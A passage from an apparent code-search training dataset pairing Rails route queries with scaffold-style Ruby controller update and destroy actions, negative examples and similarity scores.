@errors = @engineer.errors\n format.html { render :edit, notice: @errors }\n end\n end\n end", "def update\n modality_respond @modality.update(modality_params), :edit\n end", "def update\n respond_to do |format|\n if @education_entry.update(education_entry_params)\n format.html { redirect_to @education_entry, notice: 'Education entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @education_entry.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @eleccion_interna.update(eleccion_interna_params)\n format.html { redirect_to @eleccion_interna, notice: 'Eleccion interna was successfully updated.' }\n format.json { render :show, status: :ok, location: @eleccion_interna }\n else\n format.html { render :edit }\n format.json { render json: @eleccion_interna.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @equity.update(equity_params)\n format.html { redirect_to admin_risk_equity_path(@equity), notice: 'Equity was successfully updated.' }\n format.json { render :show, status: :ok, location: @equity }\n else\n format.html { render :edit }\n format.json { render json: @equity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @modality.update(modality_params)\n format.html { redirect_to @modality, notice: 'Modality was successfully updated.' }\n format.json { render :show, status: :ok, location: @modality }\n else\n format.html { render :edit }\n format.json { render json: @modality.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @experiment = Experiment.obfuscated(params[:id])\n page_group(@experiment.user.group)\n \n if @experiment.nil? or !@experiment.can_modify?(current_user)\n access_denied\n return\n end\n location = Location.obfuscated(params[:location_id])\n @experiment.location = location\n calendar = GoogleCalendar.obfuscated(params[:calendar_id])\n @experiment.google_calendar = calendar\n respond_to do |format|\n if @experiment.update_attributes(params[:experiment])\n flash[:notice] = 'Experiment was successfully updated.'\n format.html { redirect_to(@experiment) }\n format.xml { head :ok }\n else\n @calendars = self.calendars_select_array()\n @locations = self.locations_select_array()\n self.use_markdown_editor = true\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @experiment.errors, :status => :unprocessable_entity }\n end\n end\n end", "def UpdateOrganization params = {}\n \n APICall(path: 'organizations.json',method: 'PUT',payload: params.to_json)\n \n end", "def update\n authorize! :update, @admin_language_code\n\n respond_to do |format|\n if @admin_language_code.update(admin_language_code_params)\n format.html { redirect_to @admin_language_code, notice: 'Language code was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_language_code.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @nuclear_code.update(nuclear_code_params)\n format.html { redirect_to @nuclear_code, notice: 'Nuclear code was successfully updated.' }\n format.json { render :show, status: :ok, location: @nuclear_code }\n else\n format.html { render :edit }\n format.json { render json: @nuclear_code.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @concept_map = ConceptMap.find(params[:id])\n if current_user.role.id == 7\n params[:concept_map][:status] = 6\n end\n respond_to do |format|\n if @concept_map.update_attributes(params[:concept_map])\n format.html { redirect_to@concept_map, notice: 'ConceptMap was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json:@concept_map.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @universe.update(universe_params)\n format.html { redirect_to @universe, notice: 'Universe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @universe.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @emily.update(emily_params)\n format.html { redirect_to @emily, notice: 'Emily was successfully updated.' }\n format.json { render :show, status: :ok, location: @emily }\n else\n format.html { render :edit }\n format.json { render json: @emily.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n official = Official.find(params[:id])\n if official.update(official_params)\n render json: official, status: 200, location: [:api, official]\n else\n failed_to_update(official, \"official\")\n end\n end", "def update\n respond_to do |format|\n if @trustee.update(trustee_params)\n format.html { redirect_to @trustee, notice: 'Trustee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @trustee.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @classification_code.update(classification_code_params)\n format.html { redirect_to @classification_code, notice: 'Classification code was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @classification_code.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @people_term.update(people_term_params)\n format.html { redirect_to @people_term, notice: 'People term was successfully updated.' }\n format.json { render :show, status: :ok, location: @people_term }\n else\n format.html { render :edit }\n format.json { render json: @people_term.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @region_code = args[:region_code] if args.key?(:region_code)\n @user_id = args[:user_id] if args.key?(:user_id)\n end", "def update\n respond_to do |format|\n if @empolyee.update(empolyee_params)\n format.html { redirect_to @empolyee, notice: 'Empolyee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @empolyee.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6673092", "0.63839614", "0.635037", "0.635037", "0.62727827", "0.6161661", "0.6011112", "0.5980833", "0.59548396", "0.5923257", "0.5909905", "0.5896523", "0.58769166", "0.5851674", "0.58383316", "0.5838162", "0.58330756", "0.5827918", "0.578646", "0.571788", "0.5713672", "0.5698415", "0.56900376", "0.56778395", "0.5669714", "0.56664354", "0.5655848", "0.56522244", "0.5650637", "0.56486887", "0.56438506", "0.5637252", "0.562838", "0.5628331", "0.56257063", "0.5619916", "0.5605996", "0.5599525", "0.55976", "0.5593146", "0.558355", "0.55787826", "0.55783", "0.5573822", "0.55723387", "0.55722135", "0.55708665", "0.5570442", "0.5569527", "0.55674773", "0.55670655", "0.55614924", "0.55612487", "0.5557517", "0.5556988", "0.55531716", "0.554155", "0.5537416", "0.55369866", "0.5534147", "0.5526019", "0.5525819", "0.5525278", "0.55187094", "0.5514538", "0.55120015", "0.5509997", "0.550968", "0.54960144", "0.549335", "0.5488721", "0.5485674", "0.54791886", "0.547374", "0.5471843", "0.5460014", "0.5452141", "0.54499984", "0.5449862", "0.544937", "0.5445427", "0.54429793", "0.5438222", "0.54372543", "0.5434371", "0.5433334", "0.5432205", "0.5428912", "0.542828", "0.5428276", "0.54266185", "0.542563", "0.5425207", "0.54232043", "0.54226875", "0.5416326", "0.5416194", "0.54106283", "0.5408943", "0.5407515" ]
0.76467544
0
DELETE /embed_code_universities/1 DELETE /embed_code_universities/1.json
def destroy @embed_code_university.destroy respond_to do |format| format.html { redirect_to embed_code_universities_url, notice: 'Embed code university was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @university = University.find(params[:id])\n @university.destroy\n\n respond_to do |format|\n format.html { redirect_to universities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @university = University.find(params[:id])\n @university.destroy\n\n respond_to do |format|\n format.html { redirect_to universities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @university.destroy\n respond_to do |format|\n format.html { redirect_to universities_url, notice: 'University was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @university.destroy\n respond_to do |format|\n format.html { redirect_to universities_url, notice: 'University was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @university.destroy\n @universities = University.all\n end", "def destroy\n @campus = @university.campuses.find(params[:id])\n authorize! :destroy, @campus, :message => 'Acceso denegado.'\n @campus.destroy\n\n respond_to do |format|\n format.html { redirect_to universities_path }\n format.json { head :no_content }\n format.js\n end\n end", "def destroy\n @interno_unidad.destroy\n respond_to do |format|\n format.html { redirect_to interno_unidads_url, notice: 'Interno unidad was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @uni_major = UniMajor.find(params[:id])\n @uni_major.destroy\n\n respond_to do |format|\n format.html { redirect_to uni_majors_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @university_subject.destroy\n respond_to do |format|\n format.html { redirect_to university_subjects_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @immunization.destroy\n respond_to do |format|\n format.html { redirect_to immunizations_url, notice: 'Immunization was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @university = University.find(params[:university_id])\n @complaint_type = @university.complaint_types.find(params[:id])\n authorize! :destroy, @complaint_type, :message => 'Acceso denegado.'\n @complaint_type.destroy\n\n respond_to do |format|\n format.html { redirect_to university_complaint_types_url(university) }\n format.json { head :ok }\n format.js\n end\n end", "def destroy\n @climber_education.destroy\n respond_to do |format|\n format.html { redirect_to climber_educations_url, notice: 'Climber education was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @example_code.destroy\n respond_to do |format|\n format.html { redirect_to example_codes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @education_entry.destroy\n respond_to do |format|\n format.html { redirect_to education_entries_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @emu_person.destroy\n respond_to do |format|\n format.html { redirect_to emu_people_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_industry = UserIndustry.find(params[:id])\n @user_industry.destroy\n\n respond_to do |format|\n format.html { redirect_to user_industries_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @university_degree.destroy\n respond_to do |format|\n format.html { redirect_to university_degrees_url, notice: 'University degree was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @college = College.find(params[:id])\n @college.destroy\n\n respond_to do |format|\n format.html { redirect_to colleges_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @anniversary = Anniversary.find(params[:id])\n @anniversary.destroy\n\n respond_to do |format|\n format.html { redirect_to anniversaries_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @firework_year.destroy\n respond_to do |format|\n format.html { redirect_to firework_years_url, notice: 'Firework year was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @university_course.destroy\n respond_to do |format|\n format.html { redirect_to university_courses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @relation_industry.destroy\n respond_to do |format|\n format.html { redirect_to relation_industries_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @company_authority.destroy\n\n head :no_content\n end", "def destroy\n @actor_code = ActorCode.find(params[:id])\n @actor_code.destroy\n\n respond_to do |format|\n format.html { redirect_to actor_codes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @aucrecord.destroy\n respond_to do |format|\n format.html { redirect_to aucrecords_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @district_chief = DistrictChief.find(params[:id])\n @district_chief.destroy\n\n respond_to do |format|\n format.html { redirect_to district_chiefs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n authorize! :destroy, @admin_language_code\n\n @admin_language_code.destroy\n respond_to do |format|\n format.html { redirect_to admin_language_codes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @invitecode.destroy\n respond_to do |format|\n format.html { redirect_to invitecodes_url, notice: 'Invitecode was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @universe.destroy\n respond_to do |format|\n format.html { redirect_to universes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @industry = Industry.find(params[:id])\n @industry.destroy\n\n respond_to do |format|\n format.html { redirect_to industries_url, notice: I18n.t('commons.successfully_deleted') }\n format.js#\n format.json { head :no_content }\n end\n end", "def destroy\n @county = County.find(params[:id])\n @county.destroy\n\n respond_to do |format|\n format.html { redirect_to counties_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @intern = Intern.find(params[:id])\n @intern.destroy\n\n respond_to do |format|\n format.html { redirect_to interns_url }\n format.json { head :no_content }\n end\n end", "def destroy\n official = Official.find(params[:id])\n official.destroy\n head 204\n end", "def destroy\n @ubication = Ubication.find(params[:id])\n @ubication.destroy\n\n respond_to do |format|\n format.html { redirect_to ubications_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @educational_institution.destroy\n respond_to do |format|\n format.html { redirect_to educational_institutions_url, notice: 'Educational institution was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @electoral_district = ElectoralDistrict.find(params[:id])\n @electoral_district.destroy\n\n respond_to do |format|\n format.html { redirect_to electoral_districts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @education_level = EducationLevel.find(params[:id])\n @education_level.destroy\n\n respond_to do |format|\n format.html { redirect_to education_levels_url, :notice => t('controllermessage.delete') }\n format.json { head :no_content }\n end\n end", "def destroy\n @locality = Locality.find(params[:id])\n @locality.destroy\n\n respond_to do |format|\n format.html { redirect_to localities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @university_profile = UniversityProfile.find(params[:id])\n @university_profile.destroy\n \n respond_to do |format|\n format.html { redirect_to university_profiles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @uchronist = Uchronist.find(params[:id])\n @uchronist.destroy\n\n respond_to do |format|\n format.html { redirect_to uchronists_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @isoform = Isoform.find(params[:id])\n @isoform.destroy\n\n respond_to do |format|\n format.html { redirect_to isoforms_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @core_tipo_unidade = Core::TipoUnidade.find(params[:id])\n @core_tipo_unidade.destroy\n\n respond_to do |format|\n format.html { redirect_to core_tipo_unidades_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ge_city_api.destroy\n respond_to do |format|\n format.html { redirect_to ge_city_apis_url, notice: 'Ge city api was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @ruby.destroy\n respond_to do |format|\n format.html { redirect_to rubies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @code_club_school.destroy\n respond_to do |format|\n format.html { redirect_to code_club_schools_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @mobile_user_city.destroy\n respond_to do |format|\n format.html { redirect_to mobile_user_cities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n File.delete(Rails.root.join('public', 'code', @coder.code))\n @coder.destroy\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @localisation = Localisation.find(params[:id])\n @localisation.destroy\n\n respond_to do |format|\n format.html { redirect_to localisations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @code = Code.find(params[:id])\n @code.destroy\n\n respond_to do |format|\n format.html { redirect_to codes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @college_level = CollegeLevel.find(params[:id])\n @college_level.destroy\n respond_to do |format|\n format.html { redirect_to college_levels_url, notice: 'College level was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_v1_initiative_update.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_initiative_updates_url, notice: 'Initiative update was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n authorize @institute\n @institute.destroy\n respond_to do |format|\n format.html { redirect_to institutes_url, notice: 'Institute was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @exam_code = ExamCode.find(params[:id])\n @exam_code.destroy\n\n respond_to do |format|\n format.html { redirect_to exam_codes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @education_level.destroy\n respond_to do |format|\n format.html { redirect_to education_levels_url, notice: 'Education level was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @post_code_electorate_map.destroy\n respond_to do |format|\n format.html { redirect_to post_code_electorate_maps_url, notice: 'Post code electorate map was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @hospitalization = Hospitalization.find(params[:id])\n @hospitalization.destroy\n\n respond_to do |format|\n format.html { redirect_to client_hospitalizations_url(@client) }\n format.json { head :ok }\n end\n end", "def destroy\n @injurytype.destroy\n respond_to do |format|\n format.html { redirect_to injurytypes_url, notice: 'Injurytype was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @code.destroy\n respond_to do |format|\n format.html { redirect_to codes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @u = U.find_by_name(params[:id])\n @u.destroy\n\n respond_to do |format|\n format.html { redirect_to us_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @uchronia = Uchronia.find(params[:id])\n @uchronia.destroy\n\n respond_to do |format|\n format.html { redirect_to uchronias_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @orbituarysite = Orbituarysite.find(params[:id])\n @orbituarysite.destroy\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @undergraduate_major = UndergraduateMajor.find(params[:id])\n @undergraduate_major.destroy\n\n respond_to do |format|\n format.html { redirect_to undergraduate_majors_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @core_uf = Core::Uf.find(params[:id])\n @core_uf.destroy\n\n respond_to do |format|\n format.html { redirect_to core_ufs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @enrollment.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @nuclear_code.destroy\n respond_to do |format|\n format.html { redirect_to nuclear_codes_url, notice: 'Nuclear code was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @update_code = UpdateCode.find(params[:id])\n @update_code.destroy\n\n respond_to do |format|\n format.html { redirect_to update_codes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cms_affiliation.destroy\n respond_to do |format|\n format.html { redirect_to cms_affiliations_url, notice: 'Affiliation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @curator_of_exhibition.destroy\n respond_to do |format|\n format.html { redirect_to curator_of_exhibitions_url, notice: 'Curator of exhibition was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @resolution_code.destroy\n respond_to do |format|\n format.html { redirect_to resolution_codes_url, notice: 'Resolution code was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @fuel_issued.destroy\n respond_to do |format|\n format.html { redirect_to fuel_issueds_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @identity.destroy\n respond_to do |format|\n format.html { redirect_to identities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @industry_type.destroy\n respond_to do |format|\n format.html { redirect_to industry_types_url, notice: 'Industria eliminada con exito' }\n format.json { head :no_content }\n end\n end", "def destroy\n @educational_level = EducationalLevel.find(params[:id])\n @educational_level.destroy\n\n respond_to do |format|\n format.html { redirect_to educational_levels_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @institucional = Institucional.find(params[:id])\n @institucional.destroy\n\n respond_to do |format|\n format.html { redirect_to institucionals_url }\n format.json { head :ok }\n end\n end", "def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end", "def destroy\n @research_c = ResearchC.find(params[:id])\n @research_c.destroy\n\n respond_to do |format|\n format.html { redirect_to research_cs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @uset = Uset.find(params[:id])\n @uset.destroy\n\n respond_to do |format|\n format.html { redirect_to usets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @authorize_code.destroy\n respond_to do |format|\n format.html { redirect_to authorize_codes_url, notice: 'Authorize code was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @jurisdiction = Jurisdiction.find(params[:id])\n @jurisdiction.destroy\n\n respond_to do |format|\n format.html { redirect_to jurisdictions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @industry_presentation.destroy\n respond_to do |format|\n format.html { redirect_to industry_presentations_url, notice: 'Industry presentation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @code = Code.find_by_id_and_user_id(params[:id], session[:user_id])\n @code.destroy\n\n respond_to do |format|\n format.html { redirect_to codes_url, notice: 'Code deleted' }\n format.json { head :no_content }\n end\n end", "def destroy\n @employe.destroy\n respond_to do |format|\n format.html { redirect_to employes_path(api_id: @employe.organisme_id), notice: 'Employe was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @capacitycode.destroy\n respond_to do |format|\n format.html { redirect_to capacitycodes_url, notice: 'Capacitycode was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @glucose.destroy\n\n head :no_content\n end", "def destroy\n @classification_code.destroy\n respond_to do |format|\n format.html { redirect_to classification_codes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @auditor_participation = @site.auditor_participations.find(params[:id])\n @auditor_participation.destroy\n \n respond_to do |format|\n format.html { redirect_to @site, notice: 'AuditorParticipation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @eleccion_interna.destroy\n respond_to do |format|\n format.html { redirect_to eleccion_internas_url, notice: 'Eleccion interna was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @diagcode.destroy\n respond_to do |format|\n format.html { redirect_to diagcodes_url, notice: 'Diagcode was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @civilization = Civilization.find(params[:id])\n @civilization.destroy\n\n respond_to do |format|\n format.html { redirect_to civilizations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_v1_initiative.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_initiatives_url, notice: 'Initiative was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @council_district.destroy\n respond_to do |format|\n format.html { redirect_to council_districts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @representative.destroy\n respond_to do |format|\n format.html { redirect_to [:admin, :representatives], notice: 'Representative was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @encounter = Encounter.find(params[:id])\n @encounter.destroy\n\n respond_to do |format|\n format.html { redirect_to encounters_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @alumni = Alumni.find(params[:id])\n @alumni.destroy\n\n respond_to do |format|\n format.html { redirect_to alumnis_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @unp = Unp.find(params[:id])\n @unp.destroy\n\n respond_to do |format|\n format.html { redirect_to unps_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @amputation_level.destroy\n respond_to do |format|\n format.html { redirect_to amputation_levels_url, notice: 'Amputation level was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @active_code.destroy\n respond_to do |format|\n format.html { redirect_to active_codes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @affiliation.destroy\n respond_to do |format|\n format.html { redirect_to affiliations_url, notice: 'Affiliation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @universe = Universe.find(params[:id])\n @universe.destroy\n\n respond_to do |format|\n format.html { redirect_to(universes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n require_user()\n @area_of_expertise.destroy\n respond_to do |format|\n format.html { redirect_to area_of_expertises_url, notice: 'Area of expertise was successfully destroyed.' }\n format.json { head :no_content }\n end\n end" ]
[ "0.73060924", "0.73060924", "0.7090322", "0.7089909", "0.68064755", "0.6706084", "0.6702609", "0.66959804", "0.6657496", "0.66157734", "0.66149294", "0.66105574", "0.65992403", "0.65505385", "0.65489465", "0.6540941", "0.65293753", "0.65212345", "0.65010345", "0.6481699", "0.6470884", "0.6469753", "0.6456787", "0.6447253", "0.6441275", "0.64371324", "0.6436699", "0.64327794", "0.6429156", "0.64213127", "0.6418682", "0.6416619", "0.64158934", "0.64073926", "0.6395563", "0.63913774", "0.63912857", "0.6390008", "0.6389184", "0.63884825", "0.63884413", "0.63861674", "0.63819414", "0.63781166", "0.63745874", "0.6362063", "0.63591135", "0.6356381", "0.6346104", "0.63429606", "0.6342657", "0.63419205", "0.6340425", "0.6340405", "0.63399446", "0.6339873", "0.6339679", "0.6338193", "0.6332956", "0.6330704", "0.6323985", "0.63140506", "0.6313239", "0.6312944", "0.63099605", "0.6308715", "0.6295926", "0.6294453", "0.6291666", "0.628825", "0.6287312", "0.62868613", "0.6286253", "0.62859595", "0.6285914", "0.62855685", "0.6285243", "0.62819844", "0.62813437", "0.6278094", "0.6277673", "0.6274535", "0.62735313", "0.62725264", "0.6266076", "0.62660486", "0.626481", "0.6263374", "0.6261873", "0.6261689", "0.6261346", "0.62611943", "0.62588453", "0.6256982", "0.62569743", "0.62545437", "0.6253927", "0.62526107", "0.6252222", "0.6250489" ]
0.782282
0
Use callbacks to share common setup or constraints between actions.
def set_embed_code_university @embed_code_university = EmbedCodeUniversity.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n 